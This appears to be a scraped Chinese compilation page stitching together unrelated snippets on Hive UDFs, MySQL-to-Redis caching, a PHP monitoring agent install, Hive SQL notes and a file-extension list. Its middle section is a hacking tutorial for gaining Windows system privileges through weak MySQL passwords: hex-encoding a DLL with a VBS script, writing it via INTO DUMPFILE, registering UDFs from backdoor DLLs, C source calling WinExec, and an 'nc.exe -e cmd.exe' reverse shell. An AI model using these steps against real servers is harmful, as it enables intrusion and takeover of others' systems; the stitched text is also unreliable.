udfphp腳本的簡單介紹

本文目錄一覽:

hive 調用python 寫的udf 報錯

你把print寫在try裡面當然會少數據。你應該try訪問fields數組並更新fields[2]的值。另一方面,從功能點上來說,使用SQL函數nvl或coalesce就能實現,沒必要寫個UDF來實現,你這樣做增加額外的IO消耗和工作量。如果一定要寫UDF,建議少用print,改用標準輸出實現:sys.stdout.write()。

redis怎麼實現資料庫的緩存

對於變化頻率非常快的數據來說,如果還選擇傳統的靜態緩存方式(Memocached、File System等)展示數據,可能在緩存的存取上會有很大的開銷,並不能很好的滿足需要,而Redis這樣基於內存的NoSQL資料庫,就非常適合擔任實時數據的容器。

但是往往又有數據可靠性的需求,採用MySQL作為數據存儲,不會因為內存問題而引起數據丟失,同時也可以利用關係資料庫的特性實現很多功能。

所以就會很自然的想到是否可以採用MySQL作為數據存儲引擎,Redis則作為Cache。而這種需求目前還沒有看到有特別成熟的解決方案或工具,因此採用Gearman+PHP+MySQL UDF的組合非同步實現MySQL到Redis的數據複製。

MySQL到Redis數據複製方案

無論MySQL還是Redis,自身都帶有數據同步的機制,比較常用的MySQL的Master/Slave模式,就是由Slave端分析Master的binlog來實現的,這樣的數據複製其實還是一個非同步過程,只不過當伺服器都在同一內網時,非同步的延遲幾乎可以忽略。

那麼理論上也可以用同樣方式,分析MySQL的binlog文件並將數據插入Redis。但是這需要對binlog文件以及MySQL有非常深入的理解,同時由於binlog存在Statement/Row/Mixedlevel多種形式,分析binlog實現同步的工作量是非常大的。

因此這裡選擇了一種開發成本更加低廉的方式,借用已經比較成熟的MySQL UDF,將MySQL數據首先放入Gearman中,然後通過一個自己編寫的PHP Gearman Worker,將數據同步到Redis。比分析binlog的方式增加了不少流程,但是實現成本更低,更容易操作。

如何使用工具進行線上 PHP 性能追蹤及分析

New Relic 和 OneAPM 是兩款類似的性能分析工具,通過簡單的安裝之後,就有現成的圖表和分析數據可用。前一段時間嘗試過線上使用 New Relic ,估計是因為牆的原因,造成了 php-fpm 進程阻塞,具體表現為 netstat 中php-fpm 開啟的埠始終不回收,牆內環境使用牆外伺服器很難保證服務的穩定性,所以你可以試一下這款 OneAPM PHP性能分析產品。

PHP Agent 的安裝與簡易用法

註冊賬戶後, OneAPM 會提供一個 License Key,下載 PHP Agent 之後,執行安裝腳本:

1. 解壓 Agent 安裝包

tar -xzf OneAPM_php_Agent_latest.tar.gz

2.定位至「安裝包所在路徑」

cd oneapm-php5-linux-install-script

3. 執行安裝腳本

sudo ./oneapm-install install –license=BQ4NSVlMX399eAhNWUdfVE790d1

如果提示未找到 PHP 路徑或安裝失敗,執行下面這條一鍵安裝命令:

sudo ./oneapm-install install –php-path=/usr/local/php5/bin –php-ini-file=/usr/local/php5/etc/php.ini –license=BQ4NSVlMX399eAhNWUdfVE790d1

根據伺服器 PHP 環境修改上面命令中 PHP 路徑、php.ini 路徑和授權碼,修改後執行這一鍵安裝命令。

等待安裝腳本執行。若出現以下信息,則安裝成功。

OneAPM is now installed on your system. Congratulations! Restart your web server or servers.

Any question join qq group:321095806 or contact

安裝完成之後,重啟 Apache 或 php-fpm。然後,稍等片刻,等待 OneAPM 接收 Agent 發送的數據。

請幫忙看看這幾條UDF命令是什麼意思

很早網上就有了用mysql弱口令得到webshell教程,但是這次我要說的不是得到webshell,而是直接得到系統許可權,看清楚了,是「直接」得到!

首先,我簡單說一下mysql弱口令得到系統許可權得過程:首先利用mysql腳本上傳udf dll文件,然後利用註冊UDF

DLL中自寫的Function函數,而執行任意命令。

思路很簡單,網上也有一些教程,但是他們要麼沒有給具體的代碼,要麼一句話代過,搞得象我似得小菜很難理解,終於在我付出了幾天得不斷測試得辛勤勞動後,有了點結果,我把詳細過程和相關代碼得交給大家,這樣大家就可以自己寫dll文件,自己生成不同文件得二進位碼啦!

下面,我們先說如何生成二進位文件得上傳腳本。看看這段mysql腳本代碼(網友Mix用的方法):

set @a =

concat(”,0x0123abc1312389…..);

set @a = concat(@a,0x4658978abc545e……);

………………….

create table Mix(data LONGBLOB);//建表Mix,欄位為data,類型為longblob

insert into Mix values(“”);update Mix set data = @a;//@a插入表Mix

select

data from Mix into DUMPFILE ‘C:\\Winnt\\文件名’;//導出表中內容為文件

前兩句很熟悉把,這個就是我們以前注入的時候,繞過』的解決辦法,把代碼的16進位數聲明給一個變數,然後導入這個變數就行了。只不過這裡,因為16進位代碼是一個文件的內容,代碼太長了,所以就用了concat函數不斷把上次得代碼類加起來,這樣不斷累計到一個變數a中。後面幾句就很簡單了,我都有注釋。

後面三句好說,但是前面的那麼多16進位數據,手工的話,累人啊!不過你還記得以前有一個exe2bat.vbs腳本嗎?這次我們可以把這個腳本修改一下後,得到我們這裡需要得mysql腳本!對比exe2bat.vbs生成得文件和我們需要腳本的文件格式,我們可以輕鬆的得到我們所需的腳本。腳本內容如下:

fp=wscript.arguments(0

fn=right(fp,len(fp)-instrrev(fp,”\”))

with

createobject(“adodb.stream”)

.type=1:.open:.loadfromfile

fp:str=.read:sl=lenb(str)

end with

sll=sl mod 65536:slh=sl\65536

with

createobject(“scripting.filesystemobject”).opentextfile(fp”.txt”,2,true)

.write “set @a = concat(”,0x”

for i=1 to sl

bt=ascb(midb(str,i,1))

if bt16 then .write “0”

.write hex(bt)

if i mod 128=0 then

.write “);” vbcrlf “set @a = concat(@a,0x”

next

end with

好了,現在只要你把所要上傳的文件拖到這個腳本圖標上面,就可以生成一個同名的txt文件了。這個txt文件,就是我們所需要的mysql腳本,當然我們還需要修改一下這個txt文件(畢竟他是我們偷工減料得來的!),把最後一行生成的多餘的那句「set

@a = concat(”,0x」刪除了,加上建表,插值得那三句代碼即可!

腳本生成了,如何上傳?先登陸mysql伺服器:

C:\mysql –u root –h hostip –p

Mysqluse mysql;

//先進入mysql默認得資料庫,否則你下一步的表將不知道屬於哪個庫

Mysql\. E:\*.dll.txt;

//這兒就是你生成的mysql腳本

按照上面輸入命令,就可以看見屏幕文字飛快閃爍(當然網速要快啦),不一會你的文件舊上傳完畢了!

下面到達我們的重點,我們上傳什麼dll文件?就目前我再網上看到的有兩個已經寫好的dll文件,一個是Mix寫得mix.dll,一個是envymask寫得my_udf.dll,這兩個我都用過,都很不錯,但是都也有點不足。先來看看具體的使用過程吧!

先用mix.dll:

登陸mysql,輸入命令:

Mysql \. e:\mix.dll.txt;

Mysql

CREATE FUNCTION Mixconnect RETURNS STRING SONAME ‘C:\\windows\\mix.dll’;

//這兒的註冊的Mixconnect就是在我們dll文件中實現的函數,我們將要用他執行系統命令!

Mysql select

Mixconnect(‘你的ip’,’8080′); //填寫你的反彈ip和埠

過一會兒,你監聽8080埠的nc,就會得到一個系統許可權的shell了!如圖1:

這個的確不錯,通過反彈得到得shell可以傳過一些防火牆,可惜的是,它的這個函數沒有寫得很好,只能執行一次,當你第二次連接資料庫後,再次運行「select

Mixconnect(‘你的ip’,’8080′);」的時候,對方的mysql會當掉!報錯,然後服務停止!

所以,使用mix.dll你只有一次成功,沒有再來一次的機會!另外根據我的測試,他對Win2003的系統好像不起作用。

再用my_udf.dll:

Mysql\. C:\my_udf.dll.txt

Mysql CREATE FUNCTION my_udfdoor

RETURNS STRING SONAME ‘C:\\winnt\\my_udf.dll’;

//同樣地,my_udfdoor也是我們註冊後,用來執行系統命令得函數

Mysql select my_udfdoor(‘』);

//這兒可以隨便寫my_udfdoor得參數,相當於我們只是要激活這個函數

好了,現在你可以不用關這個shell了,我們再開一個cmd,使用:

D:\nc hostip 3306

*

4.0.*-nt x$Eo~MCG f**k //看到這個後,輸入「f**k」

,他是my_udfdoor默認密碼,自己無法更改

過一會兒,你就有了系統許可權的shell了,

由於他是hook

recv版,所以穿牆的能力很強,我是在上一個mix.dll反彈失敗的情況下,才使用這個得,他果然不負所望!進系統後,發現它有雙網卡,天網防火牆個人版V2.73,對外僅僅開放3306埠,由此可見,my_udf.dll確實有很強的穿透防火牆得能力!但是他也有一個bug,就是再我們連接激活這個函數後(就是使用了命令「select

my_udfdoor(‘』);」後),不管你是否連接,只要執行了:

Mysqldrop function my_udfdoor;

後,mysql也彙報錯,然後掛掉,

所以,你使用這個dll文件無法刪除你的痕迹!

最後,然我們自己寫一個自定義的dll文件。看能不能解決問題。

我們僅僅使用mysql 得udf的示例作模版即可!看他的示例:

#include

#include

#include

extern “C” {

char *my_name(UDF_INIT *initid, UDF_ARGS

*args, char *is_null,

char *error);

// 兼容C

}

char

*my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,

char *error)

{

char * me = “my name”;

return me;

// 調用此UDF將返回 my name

}

十分簡單吧?好,我們只需要稍微改一下就可以有了自己的dll文件了:

下面是我的一個哥們Crackme是修改的:

#include

#include

#include “mysql.h”

extern “C” __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS

*args, char *is_null, char *error);// sys_name就是函數名,你可以任意修改

__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char

*is_null, char *error) //當然這兒的sys_name也得改!

{

char me[256] = {0};

if

(args-arg_count == 1){

strncpy(me,args-args[0],args-lengths[0]);

me[args-lengths[0]]=’\0′;

WinExec(me,SW_HIDE); //就是用它來執行任意命令

}else

strcpy(me,”do nonthing.\n”);

return me;

}

好,我們編譯成sysudf.dll文件就可以了!我們來用他實驗一把!

看操作:

Mysql\.

C:\sysudf.dll.txt

MysqlCreate function sys_name returns string soname

‘C:\\windows\\sysudf.dll’;

Mysql\. Nc.exe.txt //把nc.exe也上傳上去

Mysqlselect sys_name(‘nc.exe -e cmd.exe 我的ip 8080’);

//sys_name參數只有一個,參數指定要執行的系統命令

好,看看在Win2003中的一個反彈shell了,

當然,我們你也可以不反彈shell了,而去執行其他命令,只不過不論是否執行成功,都沒有回顯,所以要保證命令格式正確。對於這個dll文件,經過測試,不論何時「drop

function

sys_name;」,都是不會報錯的,同時也可以多次運行不同命令。至於他的缺點,就是他的穿牆能力跟Mix.dll一樣不算太強,但對於實在穿不透的牆,直接運行其他命令就是最好的選擇了。

上面三個dll文件可謂各有所短,如何選擇,就看你遇到的實際情況了。

好了,從腳本得編寫使用到dll文件編寫使用,說了這麼多,現在大家應該都會了吧?題目說的是弱口令得到系統許可權,但是如果你在注入等其他過程中,爆出了config.php中的mysql密碼,不也是可以使用的嗎?這樣我們豈不是也找到繼Serv-u後又一大提權方法了嗎?

(五)Hive的UDF、UDAF和UDTF自定義函數

order by(全局排序):不經常用

sort by+distrbutre by :經常用

set mapreduce.job.reduce=3;

select * from emp sort by empno desc;

select sal,deptno from emp distribute by sal sort by sal;

cluster by:只能是升序排序,相當於(sort by+distrbutre by )

select sal,deptno from emp cluster bY sal;

select concat_ws(‘_’,’sdfsdf’,’sdfs’,’123′);

select cast(‘000000000000123123123123’ as bigint);

select parse_url(‘ ;k2=v2#Ref1′,’HOST’ );

select get_json_object(‘{“name”:”jack”,”age”:”20″}’,’$.name’);

實現wordcount

create table t_movie(

name string,

type string

)

row format delimited fields terminated by ‘ ‘

lines terminated by ‘\n’

location ‘/data/inner/ODS/01/t_movie’;

load data inpath ‘/data/inner/RAW/01/t_movie/movie’ into table t_movie;

select * from t_movie;

select name,split(type,’,’) from t_movie;

select explode(split(type,’,’)) from t_movie;

select name,tcol from t_movie LATERAL VIEW explode(split(type,’,’)) typetable AS tcol;

create table t_wordcount(

wordline string

)

row format delimited fields terminated by ‘\n’

location ‘/data/inner/ODS/01/t_wordcount’;

load data inpath ‘/data/inner/RAW/01/t_wordcount/harry’ into table t_wordcount;

select word,count(word) from t_wordcount lateral view explode(split(wordline,’ ‘)) eswtable as word group by word;

select word,count(word) from (select explode(split(wordline,’ ‘)) word from t_wordcount) esw group by word;

1,繼承類

2,重寫方法(實現邏輯)

3,打包

4,上傳,創建函數

dependencies

dependency

groupIdorg.apache.hadoop/groupId

artifactIdhadoop-client/artifactId

version2.6.5/version

/dependency

dependency

groupIdorg.apache.hadoop/groupId

artifactIdhadoop-hdfs/artifactId

version2.6.5/version

/dependency

dependency

groupIdorg.apache.hive/groupId

artifactIdhive-exec/artifactId

version1.2.1/version

/dependency

/dependencies

UDF:

public class UDFHello extends UDF {

public static String evaluate(String value) {

………………

}

}

hadoop fs -mkdir -p /bdp/hive/bin/lib

hadoop fs -put ./demouf.jar /bdp/hive/bin/lib

create function sxt_hello as ‘com.vincent.UDFHello’ using jar ‘hdfs:////bdp/hive/bin/lib/demouf.jar’;

UDAF:

public static class SxtInnerClass implements UDAFEvaluator {

@Override

//獲取Hive的集群信息

public void init() {}

//輸入數據端,進行map操作

public boolean iterate(String value) {}

//數據輸出端,進行reduce輸出

public int terminatePartial() {}

public String terminate() {}

}

}

UDTF:

public class ExplodeMap extends GenericUDTF {

@Override

//數據結果:主要用來寫邏輯操作

public void process(Object[] args){}

@Override

//數據輸入端:主要用來檢測數據是否符合標準

public StructObjectInspector initialize(ObjectInspector[] args){}

@Override

//關閉

public void close() {}

}

常用文件擴展名的說明

擴展名 說明

A:對象代碼庫文件

AAM:Authorware shocked文件

AAS:Authorware shocked包

ABF:Adobe二進位屏幕字體

ABK:CorelDRAW自動備份文件

ABS:該類文件有時用於指示一個摘要(就像在一篇有關科學方面的文章的一個摘要或概要,取自abstract)

ACE:Ace壓縮文件格式

ACM:Windows系統目錄文件

ACP:Microsoft office助手預覽文件

ACT:Microsoft office助手文件

AD:After Dark屏幕保護程序

ADA:Ada源文件(非-GNAT)

ADB:Ada源文件主體(GNAT);HP100LX組織者的約定資料庫

ADF:Amiga磁碟文件

ADI:AutoCAD設備無關二進位繪圖儀格式

ADM:After Dark多模塊屏幕保護;Windows NT策略模板

ADP:FaxWork用於傳真數據機的交互安裝文件;Astound Dynamite文件

ADR:After Dark隨機屏幕保護;Smart Address的地址簿

ADS:Ada源文件說明書(GNAT)

AFM:Adobe的字體尺度

AF2/AF3:ABC的FlowChat文件

AI:Adobe Illustrator格式圖形

AIF/AIFF:音頻互交換文件,Silicon Graphic and Macintosh應用程序的聲音格式

AIFC:壓縮AIF

AIM:AOL即時信息傳送

AIS:ACDSee圖形序列文件;Velvet Studio設備文件

AKW:RoboHELP的幫助工程中所有A-關鍵詞

ALB:JASC Image Commander相冊

ALL:藝術與書信庫

AMS:Velvet Studio音樂模塊(MOD)文件;Extreme的Tracker模塊文件

ANC:Canon Computer的調色板文件,包含一系列可選的顏色板

ANI:Windows系統中的動畫游標

ANS:ANSI文本文件

ANT:SimAnt For Windows中保存的遊戲文件

API:Adobe Acrobat使用的應用程序設計介面文件

APS:Microsoft Visual C++文件

ARI:Aristotle聲音文件

ARJ:Robert Jung ARJ壓縮包文件

ART:Xara Studio繪畫文件;Canon Crayola美術文件;Clip Art文件格式;另一種光線跟蹤格式;AOL使用的用Johnson-Grace壓縮演算法壓縮的標記文件

ASA:Microsoft Visual InterDev文件

ASC:ASCⅡ文本文件;PGP演算法加密文件

ASD:Microsoft Word的自動保存文件;Microsoft高級流媒體格式(microsoft advanced streaming format,ASF)的描述文件;可用NSREX打開 Velvet Studio例子文件

ASE:Velvet Studio採樣文件

ASF:Microsoft高級流媒體格式文件

ASM:彙編語言源文件,Pro/E裝配文件

ASO:Astound Dynamite對象文件

ASP:動態網頁文件;ProComm Plus安裝與連接腳本文件;Astound介紹文件

ASV:DataCAD自動保存文件

ASX:Cheyenne備份腳本文件;Microsoft高級流媒體重定向器文件,視頻文件

ATW:來自個人軟體的Any Time Deluxe For Windows個人信息管理員文件

AU:Sun/NeXT/DEC/UNIX聲音文件;音頻U-Law(讀作「mu-law」)文件格式

AVB:Computer Associates Inoculan反病毒軟體的病毒感染後文件

AVI:Microsoft Audio Video Interleave電影格式

AVR:Audio Visual Research文件格式

AVS:應用程序可視化格式

AWD:FaxVien文檔

AWR:Telsis數字儲存音頻文件擴展名格式

Axx:ARJ壓縮文件的分包序號文件,用於將一個大文件壓至幾個小的壓縮包中(xx取01-99的數字)

A3M/A4M:Authorware Macintosh未打包文件

A4P:Authorware無運行時間的打包文件

A3W/A4W/A5W:未打包的Authorware Windows文件 擴展名 說明

BAK:備份文件

BAS:BASIC源文件

BAT:批處理文件

BDF:West Point Bridger Designer文件

BGL:Microsoft Flight Simulator(微軟飛行模擬器)的視景文件

BI:二進位文件

BIF:Group Wise的初始化文件

BIFF XLIFE 3D格式文件

BIN 二進位文件

BK/BK$ 有時用於代表備份版本

BKS IBM BookManager Read書架文件

BMK 書籤文件

BMP Windows或OS/2點陣圖文件

BOOK Adobe FrameMaker Book文件

BRX 用於查看多媒體對象目錄的文件

BSP Quake圖形文件

BTM Norton 應用程序使用的批處理文件

BUD Quicken的備份磁碟

BUN CakeWalk 聲音捆綁文件(一種MIDI程序)

BW SGI黑白圖像文件

BWV 商業波形文件 擴展名 說明

C C代碼文件

CAB Microsoft壓縮文件

CAD Softdek的Drafix CAD文件

CAL CALS壓縮點陣圖;日曆計劃表數據

CAP 壓縮音樂文件格式

CAS 逗號分開的ASCⅡ文件

CB Microsoft乾淨引導文件

CC Visual dBASE用戶自定義類文件

CCB Visual Basic動態按鈕配置文件

CCH Corel圖表文件

CCO CyberChat數據文件

CCT Macromedia Director Shockwave投影

CDA CD音頻軌道

CDF Microsoft頻道定義格式文件

CDI Philip的高密盤交互格式

CDM Visual dBASE自定義數據模塊文件

CDR CorelDRAW繪圖文件;原始音頻CD數據文件

CDT CorelDRAW模板

CDX CorelDRAW壓縮繪圖文件;Microsoft Visual FoxPro索引文件

CFG 配置文件

CGI 公共網關介面腳本文件

CGM 計算機圖形元文件

CHK 由Windows磁碟碎片整理器或磁碟掃描保存的文件碎片

CHM 編譯過的HTML文件

CHR 字符集(字體文件)

CIF Adaptec CD 創建器 CD映像文件

CIL Clip Gallery下載包

CLASS Java類文件

CLL Crick Software Clicker文件

CLP Windows 剪貼板文件

CLS Visual Basic類文件

CMF Corel元文件

CMV Corel Move動畫文件

CMX Corel Presentation Exchange圖像

CNF Telnet,Windows和其他其內格式會發生改變的應用程序使用的配置文件

CNM Windows應用程序菜單選項和安裝文件

CNT Windows(或其他)系統用於幫助索引或其他目的內容文件

COD Microsoft C編譯器產生的可顯示機器碼/彙編代碼文件,其中附有源C代碼作為注釋

COM 命令文件(程序)

CPL 控制面板擴展名,Corel顏色板

CPO Corel列印存儲文件

CPP C++代碼文件

CPR Corel提供說明書文件

CPT Corel 照片-繪畫圖像

CPX Corel Presentation Exchange壓縮圖形文件

CRD Windows Cardfile文件

CRP Corel 提供的運行時介紹文件;Visual dBASE自定義報表文件

CRT 認證文件

CSC Corel腳本文件

CSP PC Emcee On_Screen圖像

CST Macromedia Director Cast文件

CSV 逗號分隔的值文件

CTL 通常用於表示一個包含控制項信息的文件;FaxWork用它來保持有關每個傳真收到或發出的信息

CUR Windows游標文件

CV Corel版本的檔案文件;Microsoft CodeView信息屏幕文件

CXX C++源代碼文件 擴展名 說明

DAT 數據文件;WrodPerfect合併數據文件;用於一些MPEG格式的文件

DB Borland的Paradox 7表

DBC Microsoft Visual FoxPro資料庫容器文件

DBF dBASE文件

DBX DataBearn圖像;Microsoft Visual FoxPro表格文件

DCM DCM模塊格式文件

DCS 桌面顏色分隔文件

DCT Microsoft Visual FoxPro資料庫容器

DCU Delphi編譯單元文件

DCX Microsoft Visual FoxPro資料庫容器;基於PCX的傳真圖像;宏

DEM 用於表示數字高度模型的USGS基準的文件

DER 認證文件

DEWF Macintosh Sound Cap/Sound Edit錄音設備格式

DIB 設備無關點陣圖

DIC 目錄

DIF 可進行數據互換的電子表格

DIG DigiLink格式;Sound DesignerⅠ音頻文件

DIR Macromedia Director文件

DIZ 描述文件

DLG C++對話框腳本文件

DLL 動態鏈接庫

DLS 可下載聲音文件

DMD Visual dBASE數據模塊文件

DMF X-Trakker音樂模塊(MOD)文件

DOC Word文檔

DOT Microsoft Word文檔模板

DRAW Acorn的基於對象的矢量圖像文件

DRV 驅動程序

DRW Micrografx Designer/Draw;Pro/E繪畫文件

DSF Micrografx Designer VFX文件

DSG DOOM保存的文件

DSM Dynamic Studio音樂模塊(MOD)文件

DSP Microsoft Developer Studio工程文件

DSQ Corel QUERY(查詢)文件

DSW Microsoft Developer Studio工作區文件

DTD SGML文檔類型定義(DTD)文件

DUN Microsoft拔號網路導出文件

DV 數字視頻文件(MIME)

DXF 可進行互交換的繪圖文件格式,二進位的DWG格式的文本表示;數據交換文件

DXR Macromedia Director受保護(不可編輯)電影文件 擴展名 說明

EDA Ensoniq ASR磁碟映像

EDD 元素定義文檔(FrameMaker+SGML文檔)

EMD ABT擴展模塊

EMF Windows增強元文件

EML Microsoft Outlook Express郵件消息(MIME RTC822)文件

EPHTML Perl解釋增強HTML文件

EPS 壓縮的PostScript圖像

EXE 可執行文件(程序) 擴展名 說明

FAV Microsoft Outlook導航條

FAX 傳真類型圖像

FCD 虛擬CD-ROM

FDF A dobe Acrobat表單文檔文件

FFA/FFL/FFO/FFK Microsoft快速查找文件

FIF Fractal圖像文件

FLA Macromedia Flash電影

FLC Autodesk FLIC動畫文件

PLI Autodesk FLIC動畫

FM Adobe FrameMaker文檔

FML 文件鏡象列表(GetRight)

FNG 字體組文件(字體導航器,Font Navigator)

FNK Funk Tracker模塊格式

FON 系統字體

FOT 字體相關文件

FRT Microsoft FoxPro報表文件

FRX Visual Basic表單文本;Microsoft FoxPro報表文件

FTG 全文本搜索組文件,由Windows幫助系統查找時產生–可以刪除,並在需要時重建起來

FTS 全文本搜索引文件,由Windows幫助系統查找時產生 擴展名 說明

GAL Corel多媒體管理器相集

GDB InterBase資料庫文件

GDM 鈴聲、口哨聲和聲音板模塊格式

GEM GEM元文件

GEN Ventura產生的文本文件

GetRight GetRight未完成的下載文件

GFI/GFX Genigraphics圖形鏈接表示文件

GHO Norton 克隆磁碟映像

GIF CompuServe點陣圖文件

GIM/GIX Genigraphics圖形鏈接介紹文件

GKH Ensoniq EPS家簇磁碟映像文件

GKS Gravis Grip Key文檔

GL 動畫格式

GNA Genigraphics圖形鏈接介紹文件

GNT 生成代碼,Micro Focus屬性格式里的可執行代碼

GNX Genigraphics圖形鏈接介紹文件

GRA Microsoft Graph文件

GRF Grapher(Golden Software公司)圖形文件

GRP 程序管理組 擴展名 說明

HCOM 聲音工具HCOM格式

HGL HP圖形語言繪圖文件

HLP 幫助文件;Date CAD Windows幫助文件

HPJ Visual Basic幫助工程

HPP C++程序頭文件

HST 歷史文件

HT HyperTerminal(超級終端)

HTM/HTML 超文本文檔

HTT Microsoft超文本模板

HTX 擴展HTML模板 擴展名 說明

ICB Targa點陣圖文件

ICC Kodak印表機格式文件

ICL 圖標庫文件

ICM 圖形顏色匹配配置文件

ICO Windows圖標

IDD MIDI設備定義

IDF MIDI設備定義(Windows 95需要的文件)

IDQ Internet數據查詢文件

IDX Microsoft FoxPro相關資料庫索引文件;Symantec QA相關資料庫索引文件;Microsoft Outlook Express文件

IFF 交換格式文件;Amiga ILBM

IGES 初始圖形交換說明文件

IGF 插入系統元文件

ILBM 點陣圖圖形文件

IMA WinImage磁碟映像文件

INF 信息文件

INI 初始化文件

INRS INRS遠程通信聲頻

INS InstallShield安裝腳本

INT 中間代碼,當一個源程序經過語法檢查後編譯產生一個可執行代碼

IQY Microsoft Internet查詢文件

ISO 根據ISD 9660有關CD-ROM文件系統標準列出CD-ROM上的文件

IST 數字跟蹤設備文件

ISU InstallShield卸裝腳本

IWC Install Watch文檔 擴展名 說明

J62 Ricoh照相機格式

JAR Java檔案文件

JAVA Java源文件

JBF Paint Shop Pro圖像瀏覽文件

JFF/JFIF/JIF JPEG文件

JMP SAS的JMPDiscovery表格統計文件

JPE/JPEG/JPG JPEG圖形文件

JS Javascript源文件

JSP HTML網頁,其中包含有對一個Java servlet的參考

JTF JPEG點陣圖文件 擴展名 說明

K25 Kurzweil 2500抽樣文件

KAR 卡拉OK MIDI文件

KDC Kodak光增強器

KEY DataCAD圖標工具條文件

KFX KoFak Group 4圖像文件

KIZ Kodak數字明信片文件

KKW RoboHELP幫助工程索引設計器中與主題無關的K開頭的所有關鍵字

KMP Korg Trinity KeyMap文件

KQP Konica照相機本地文件 擴展名 說明

LAB Visual dBASE標籤文件

LBM Deluxe Paint點陣圖文件

LBT/LBX Microsoft FoxPro標籤文件

LDB Microsoft Access加鎖文件

LDL Corel Paradox分發庫

LEG Legacy文檔

LFT 3D Studio(DOS)放樣文件

LGO Paintbrush(Microsoft畫圖應用程序)的徽標文件

LHA LZH更換文件後綴

LIB 庫文件

LIN DataCAD線型文件

LIS 結構化查詢報告(SQR)程序產生的輸出文件

LLX Laplink交換代理

LNK Windows快捷方式文件

LOG 日誌文件

LST 列表文件

LU ThoughtWing庫單元文件

LYR DataCAD層文件

LZH LH ARC壓縮檔案

LZS Skyroads數據文件 擴展名 說明

M1V MPEG相關文件(

M3U MPEG URL(MIME聲音文件)

MAD Microsoft Access模塊文件

MAF Microsoft Access表單文件

MAM Microsoft Access宏

MAP 映射文件;Duke Nukem 3D WAD遊戲文件

MAQ Microsoft Access查詢文件

MAR Microsoft Access報表文件

MAT Microsoft Access表;3D Studio MAX材料庫

MB1 Apogee Monster Bash數據文件

MBX Microsoft Outlook保存email格式;Eudora郵箱

MCR DataCAD鍵盤宏文件

MDB Microsoft Access資料庫

MDE Microsoft Access MDE文件

MDL 數字跟蹤器音樂模塊(MOD)文件;Quake模塊文件

MDN Microsoft Access空資料庫模板

MDW Microsoft Access工作組文件

MDZ Microsoft Access嚮導模板文件

MIC Microsoft Image Composer文件

MID MIDI音樂

MIM, MIME,MME Internet郵件擴展格式的多用途文件,經常作為發送e-mail時在AOL里附件而創建的文件;在一個多區MIM文件里的文件能用WinZip或其他類似程序打開

MLI 3D Studio的材料庫格式文件

MNG 多映像網路圖形

MNU Visual dBASE菜單文件;Intertel Systems Interact菜單文件

MOD Fast Tracker、Star Trekker、Noise Tracker(等等)音樂模塊文件;Microsoft多計劃電子表格;Amiga/PC磁軌文件

MOV QuickTime for Windows電影

MP2 第二層MPEG音頻文件

MP3 第三層MPEG音頻文件

MPA MPEG相關文件,MIME「mpeg類型」

MPE/MPEG/MPG MPEG動畫文件

MPP Microsoft工程文件;CAD繪圖文件格式

MPR Microsoft FoxPro菜單(已編譯)

MSG Microsoft郵件消息

MSI Windows 安裝文件包

MSN Microsoft網路文檔;Descent Mission文件

MSP Microsoft Paint(畫圖)點陣圖文件;Windows Installer路徑文件

MST Windows 安裝器傳輸文件

MTM Multi 跟蹤器音樂模塊(MOD)文件 擴展名 說明

NAN Nanoscope文件(Raw Grayscale)

NAP NAP元文件

NCB Microsoft Developer Studio文件

NCD Norton改變目錄

NCF NetWare命令文件;Lotus Notes內部剪切板

NFF 中性文件格式

NFT NetObject Fusion模板文件

NIL Norton游標庫文件(EasyIcons-兼容)

NIST NIST Sphere聲音

NLS 用於本地化的國家語言支持文件(例如,Uniscape)

NLU Norton Live Update e-mail 觸發器文件

NTX CA-Clipper索引文件

NWC Noteworthy Composer歌曲文件

NWS Microsoft Outlook Express新聞消息 擴展名 說明

OBJ 對象文件

OCX Microsoft對象鏈接與嵌入定製控制項

ODS Microsoft Outlook Express郵箱文件

OFN Microsoft Office FileNew文件

OFT Microsoft Outlook模板

OLB OLE對象庫

OLE OLE對象

OOGL 面向對象圖形庫

OPO OPL輸出可執行文件 擴展名 說明

P65 PageMaker 6.5文件

PAB Microsoft個人地址簿

PART Go!Zilla部分下載文件

PAS Pascal源代碼

PBD PowerBuilder動態庫,作為本地DLL的一個替代物

PBL 用於在PowerBuilder開發環境中的PowerBuilder動態庫

PBM 可導出點陣圖

PBR PowerBuilder資源

PCD Kodak Photo-CD映像;P-Code編譯器測試腳本,由Microsoft測試與Microsoft Visual測試

PCL Hewlett-Packard 印表機控制語言文件(印表機備用點陣圖)

PCM 聲音文件格式;OKI MSM6376 合成晶元 PCM格式

PDD 可以用Paint Shop Pro或其他圖像處理軟體打開的圖形圖像

PDF Adobe Acrobat 可導出文檔格式文件(可用Web瀏覽器顯示);Microsoft系統管理伺服器包定義文件;NetWare印表機定義文件

PFM 印表機字體尺度

PGL HP繪圖儀繪圖文件

PGM 可輸出灰度圖(點陣圖)

PH 由Microsoft幫助文件編譯器產生的臨時文件

PHP/PHP3 包含有PHP腳本的HTML網頁

PHTML 包含有PHP腳本的HTML網頁;由Perl分析解釋的HTML

PIC PC畫圖點陣圖;Lotus圖片;Macintosh PICT繪圖

PJX/PJT Microsoft Visual FoxPro工程文件

PKG Microsoft Developer Studio應用程序擴展(與DLL文件類似)

PNG 可移植的網路圖形點陣圖;Paint Shop Pro瀏覽器目錄

POT Microsoft Powerpoint模塊

PPA Microsoft Powerpoint內插器

PPF Turtle Beach的Pinnacle程序文件

PPM 可移植的象素映射點陣圖

PPS Microsoft Powerpoint幻燈片放映

PPT Microsoft Powerpoint演示文稿

PRF Windows系統文件,Macromedia導演設置文件

PRG dBASE Clipper和FoxPro程序源文件;WAVmaker程序

PRJ 3D Studio(DOS)工程文件

PRN 列印表格(用空格分隔的文本);DataCAD Windows印表機文件

PRT 列印格式化文件;Pro/ENGINEER元件文件

PSD Adobe photoshop點陣圖文件

PSP Paint Shop Pro圖像文件

PST Microsoft Outlook個人文件夾文件

PWZ Microsoft Powerpoint嚮導 擴展名 說明

QIC Microsoft備份文件

QIF QuickTime相關圖像(MIME);Quicken導入文件

QLB Quick庫

QRY Microsoft查詢文件

QTP QuickTime優先文件

QTX QuickTime相關圖像

QW Symantec QA Write程序文件 擴展名 說明

RA RealAudio聲音文件

RAM RealAudio元文件

RAR RAR壓縮檔案(Eugene Roshall格式)

RDF 資源描述框架文件(涉及XML和元數據)

REG 註冊表文件

REP Visual dBASE報表文件

RES Microsoft Visual C++資源文件

RFT 可修訂的表單文本(IBM的DCA一部分或文檔內容框架結構一部分)

RGB/SGI Silicon圖形RGB文件

RM RealAudio視頻文件

